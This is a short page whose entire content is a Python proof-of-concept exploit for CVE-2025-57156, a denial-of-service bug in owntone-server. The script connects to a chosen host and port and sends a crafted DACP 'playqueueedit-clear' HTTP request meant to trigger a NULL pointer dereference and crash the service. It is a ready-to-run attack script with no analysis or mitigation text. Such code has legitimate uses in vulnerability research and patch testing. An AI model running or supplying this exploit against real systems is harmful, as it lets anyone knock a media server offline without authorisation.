CVE-2025-57156 owntone-server空指针解引用拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-57156 PoC - owntone-server NULL pointer dereference This PoC triggers the NULL pointer dereference in dacp_reply_playqueueedit_clear """ import socket import sys def send_dacp_request(host, port, request): """Send DACP request to owntone-server""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) sock.send(request.encode('utf-8')) response = sock.recv(4096) sock.close() return response except Exception as e: print(f"[-] Error: {e}") return None def create_malicious_dacp_request(): """Create malicious DACP playqueueedit_clear request""" request = ( "GET /playqueueedit-clear HTTP/1.1\r\n" "Host: owntone-server\r\n" "Active-Remote: 12345678\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Connection: close\r\n\r\n" ) return request def main(): host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" port = int(sys.argv[2]) if len(sys.argv) > 2 else 3689 print(f"[*] CVE-2025-57156 PoC for owntone-server") print(f"[*] Target: {host}:{port}") malicious_request = create_malicious_dacp_request() print(f"[*] Sending malicious DACP request...") response = send_dacp_request(host, port, malicious_request) if response: print(f"[+] Response received: {response.decode('utf-8', errors='ignore')}") else: print(f"[!] No response or connection failed - service may have crashed") if __name__ == "__main__": main()